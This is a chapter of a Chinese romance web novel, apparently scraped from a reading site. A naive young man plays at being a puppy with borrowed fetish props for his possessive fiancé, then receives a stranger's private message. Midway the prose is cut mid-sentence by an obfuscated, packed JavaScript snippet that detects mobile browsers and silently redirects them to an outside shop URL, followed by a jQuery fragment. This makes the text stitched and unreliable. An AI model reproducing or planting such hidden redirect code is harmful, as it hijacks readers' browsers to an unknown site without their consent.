管家优雅地弯腰伸手,华丽丽展示着木柜里的东西:“小少爷,喜欢吗?”
很快,他就尬住了。
因为整场表演,只有他在“激情满满”。
而他的表演道具,是需要糊满马赛克的;唯一的观众,是瞠目结舌呆愣不语的;房间里的氛围,是沉默古怪又尴尬的。
管家本以为自己唯一读不懂心思的人是顾熠阑。
但现在他发现,他也同样猜不透苏泽岁在想些什么。
倒不是少年有多擅长隐藏自己的真实想法,而是因为——他的情绪实在是太割裂了。
哭和笑,伤心与开心,都太割裂了。随时到来,即刻消失,不像正常人那么循序渐进、有迹可循。
有时候他甚至觉得少年只是身体在哭,而灵魂在外面飘。
于是,他又开始试探了——
“小少爷,你知道吗?顾先生是很可怕的主r……人类,”一个口误,紧急转弯。
“你要是跟他结婚,他会用这些道具,把你捆在他的身边,关进金丝笼,让你永远都摆脱不了他的控制,甚至一辈子出不了房门。”
说着说着,他就发现苏泽岁眼中又开始发光,像是藏在眸子里的满天星辰一颗颗亮了起来。
管家松了一口气。
……看来猜对了。
“小少爷过来看看吗?”管家又道。
他信心满满,但却发现,当苏泽岁视线移到柜子中时,那晶亮的眼眸,又升起了不解和抗拒。
一道灵光闪过,管家顿时福至心灵:“别担心小少爷,这些东西是顾先生买的,他也喜欢。”
他不会觉得你奇怪。
果不其然,在他说完这句话后,苏泽岁终于从床上慢吞吞挪了下来,走到了木柜前。
管家为自己的英明而骄傲。
当看到苏泽岁伸手爱抚起柜子里的狗耳朵,就像摸小狗狗那样自然,他心中更加欣慰了。
让苏泽岁看这些东西,一方面,可以让他更喜欢顾老板;另一方面,也能让顾老板相信小少爷是懂事听话、在控制范围内的,会更容易放下戒心。
而凭小狗狗撒娇卖萌的可爱形象,更会是事半功倍,说不定顾老板看一眼就直接心软了。
苏泽岁看不懂那些奇奇怪怪的皮带和链条,但他喜欢毛茸茸的东西。
他小手抚摸着的狗狗耳朵形状圆润,没有皮毛的地方粉红粉红的,毛发也蓬松而细腻,轻盈地在指尖划动,让他心里软绵绵的。
这应该是某种扮演小动物的游戏。
他以前听说过,好像叫什么cosplay,有很多人喜欢。
苏泽岁把几个扮演道具都拿了出来。
狗狗耳朵和狗爪爪他都能看懂,可却琢磨不透那个形状奇怪的狗尾巴。
——以他学习“力学”多年的经验来说,如果要佩戴尾巴,会找不到很好的着力点来固定。
就在苏泽岁绷着小脸,对其形状进行了一顿受力分析后,毛茸茸的尾巴突然被管家红着老脸拿走了:“小少爷,这个先别用。我、我去收起来。”
说完,他撒腿跑到其他柜子前,一堆翻藏,不知道把狗尾巴收到了哪个不搬家就不会发现的角落里。
藏完一转身,他就发现苏泽岁正目不转睛看着他。
“想要兔。”少年道。
“什么?!!”管家一惊,后悔藏东西藏晚了,让苏泽岁PTSD到犯恶心地要吐了,急忙补救道:“小少爷千万别吐柜子里,我扶你去厕所!都怪我!”
苏泽岁困惑地皱起小脸,举起双手,在头顶上比了两个“2”,嗓音乖软道:“兔。”
管家动作一顿,然后倏地松了口气。
原来是这个兔。小少年还真是喜欢兔子哈哈。
管家不是很懂艾斯爱慕,不知道游戏里有哪些小动物,只能道:“小少爷,你先将就一下。等你跟顾先生结婚了,你想要什么生物他都会给你买的。”
苏泽岁懂事地点点头,拿起柜子里的狗耳朵发箍,就将其戴在了乖软的乌发间,甚至还晃了晃头,让小耳朵也摇了起来。
狗爪爪是那种全包式的,戴上了就没法抓握东西。
所以苏泽岁先翻了翻别的东西。
柜子里还有一个牵引链。
一扯金丝链条,后面的皮质项圈就猛地缩紧,让人光是看看,都觉得呼吸困难。
他拿起牵引绳,在自己脖颈处比对了一下,似是觉得这是角色扮演配套的遛狗绳。
苏泽岁动作自然,毫无心里障碍。但站一旁的管家,却觉得喘不上来气的人是他。
眼前的少年皮肤白皙细腻,修长的脖颈更像是冬日里的一捧雪,和纯黑色的皮质项圈搭配在一起,就像天使于人间沦陷,在纯洁与欲.望中挣扎,完全不方便想象,简直犯规。
管家强迫自己镇定下来,腰杆子挺出了正直的味道,趁老板不在使劲甩锅:“这些都是顾先生喜欢的东西。”
而小少年也喜欢。
所以他们俩是天造地设的一对。
苏泽岁对链条无感,他不喜欢黑色,所以没有拿牵引绳,只拿了装扮成可爱小狗狗的耳朵和爪爪。
“小少爷你先自己试试。等顾先生回来,我给你发信息,你再穿给他看。”管家感觉自己要撑不住了,随便找了个借口就逃走了。
……
顾熠阑是晚上七点回来的。
苏泽岁得了管家的通风报信,立刻放下了正在学的竞赛网课,戴上cosplay的道具。
他坐到了床上,白细的胳膊撑在腿间,漂亮的眼眸耷拉着,努力扮演一只可爱的、坐着的小狗。
根据他依稀的记忆,这个叫……“还原角色”。
在苏泽岁的认知中,顾熠阑今天被坏人乱了心情,自己陪他玩cosplay,还原他喜欢的角色,让他开心起来,也算是提高好感第二式中的内容。
于是,顾熠阑进门时,看到的就是这样的一幕——
少年端坐在床上,顺着开门声而转头。
那鸦羽般浓密的睫毛轻轻抬起,乌发间毛茸茸的耳朵轻微地动了一下。在看到他的第一时间,就弯起了动人的眉眼。
视线顺着少年单薄的身形向下,那两只撑在大腿中间的软萌爪爪也格外显眼。
顾熠阑脚步微不可察地一顿,眼中划过一丝复杂的情绪,在那漆黑如墨的眸子中格外难辨。
但他太习惯隐藏自己的情绪了,这些细微的反应都一瞬即逝。
顾熠阑走到床前,微微眯眼,居高临下地打量着床上的少年,不知喜怒。
跟在他身后的管家看到了乖巧的少年,忍不住在心里感慨:瞧,多可爱,多惹人心怜啊!看来这招用对了。
但出乎管家意料的是,房间里的氛围却不像他想的那么暧昧。
床上床前的两人都长久地没说话,像是一种无声地对峙。谁先开口,谁就落了下风。
沉默的气氛越来越剑拔弩张,就在管家都在考虑要不自己做第一个说话的出头鸟时,那床上的少年终于微微张开的软唇,像是深思熟虑良久,才最终做出了发言决定。
管家欣慰又期待地看着少年,指望着他来打破僵局,就只见那软唇微启,怯生生地小声道:“汪汪。”
管家:???
原来一直不说话是因为入戏太深了?真把自己当小狗了??
但这简单的两声却有奇效,顾老板挑了挑眉梢,微微绷紧的脊背也放松了些,像是进入了松弛状态的野狼。
他把少年上下扫了一遍,确保视线中没有出现“小狗尾巴”之类的东西后,才悠悠地开口:“在玩什么?”
少年清澈的眸子里映着他颀长的身影,闻言,里面又添了几分苦恼,像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14215104|150809||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是在纠结要不要违背角色、说人话。
许久,他才轻声道:“小狗。”
“你吗?”顾熠阑问道。
苏泽岁长睫扑闪着眨了两下,然后开心地点了点头。
“现在玩完了吗?”顾熠阑对此未作评价,而是转身,朝着某个柜子走去,“玩完了就把东西摘了,靠在床头,闭眼。”
苏泽岁自动忽略他的前半句话,想象自己是一只半躺着的小狗,靠在了软绵的枕头上,听话地闭上了眼睛。
他听到了翻东西的声音,感受到了顾熠阑的脚步声在逐渐靠近。紧接着,随着“噗噗”两声,就感觉膝盖一凉。
他本能地想要睁开眼睛,但想到顾熠阑的话,还是紧紧闭住,没有睁眼。
膝盖凉了几次,他才听见男人道:“好了,可以睁开了。”
苏泽岁将眼睛眯开一条缝,就看见顾熠阑正将收拾好的医疗箱放回到柜子里,而他的膝盖的淤青处有些湿漉漉的。
原来刚才听到的“噗噗”声是药物喷雾的声音。
苏泽岁来不及构思感谢的话,就见顾熠阑把手铐钥匙丢了过来,道:“收拾一下,下楼看电视。”
苏泽岁:!
补药、补药在那么多人类中看电视呜。
顾熠阑走到门口,半倚在门框上,双手环胸地等着他,带着催促意味,压迫感极强。在他的亲自监督下,显然这件事没有任何商量的余地。
更何况苏泽岁早上已经违背了一次时间表,他很不好意思,再不愿也只能乖乖接受。
因为要见到很多人类了,刚才故意装聋没摘下的小狗道具,被他三两下取下。他利索地穿上小兔拖鞋,啪嗒啪嗒跑到了顾熠阑面前。
“走吧。”顾熠阑放下手臂,落后少年半步地朝客厅走去。
因为这回大老板在场,员工们都不敢造次,投影上老老实实地播放着新闻联播,枯燥乏味,让佣人们昏昏欲睡。
和上次一样,苏泽岁还是缩在所有椅子的最后一排,身体抖啊抖,长睫颤啊颤。
唯一的区别,就是顾熠阑始终坐在他身边。
人类陌生的身体,隐约的呼吸声,都会让苏泽岁胸闷气短、喘不上气。
他实在难受得不行了,就偷偷摸出手机,架在面前的小桌板上,悄悄地放起了竞赛网课。
因为于他而言,上网课的时间是总是过得飞快。
他希望一眨眼,就能结束这段痛苦的、周围满是陌生人的行程。
但由于他实在他害怕了,就算是喜欢的竞赛网课,也收效甚微。看了半天,知识都不进脑。
就在此时,他的手机上弹出了一个未读消息——
【陌生人。的私信:你在害怕?】
完全被说中的苏泽岁呼吸一滞,感觉心脏骤停了一下。
自从上次那个帖子火了之后,就常有人私信他。他很社恐,把A乎开了消息免打扰。之后,上面很多的信息都会被筛掉,只有少数私信会透过大网弹出来。
现在这条突如其来的私信,突破免打扰弹出,又精确地说中了他的心情,有种神秘的玄学感。
苏泽岁握着手机,没回消息,下意识向身边的男人看去。
或许是他的目光太过直白和炽热,顾熠阑也侧首淡淡地瞥了他一眼,随即又无所谓地收回,重新落在正前方的投影上,一丝不苟地看着上面播报的新闻。
顾先生对待时间表很认真,目不斜视,应该连他在偷偷看网课都没发现,更不会知道他收到了陌生人的私信。
整个客厅里应该只有他在小心摸鱼。
苏泽岁一边放下心来,一边又有些心虚,因为顾熠阑说过很多遍,不希望他跟别人说话。
但憋了一会,好奇心还是战胜了理智,不知世事险恶的他疑惑地问——
【用户1947296:你是怎么知道的?】